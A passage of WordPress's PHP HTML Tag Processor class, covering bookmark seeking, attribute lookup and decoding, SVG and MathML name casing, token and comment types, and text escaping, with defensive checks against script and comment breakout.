				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
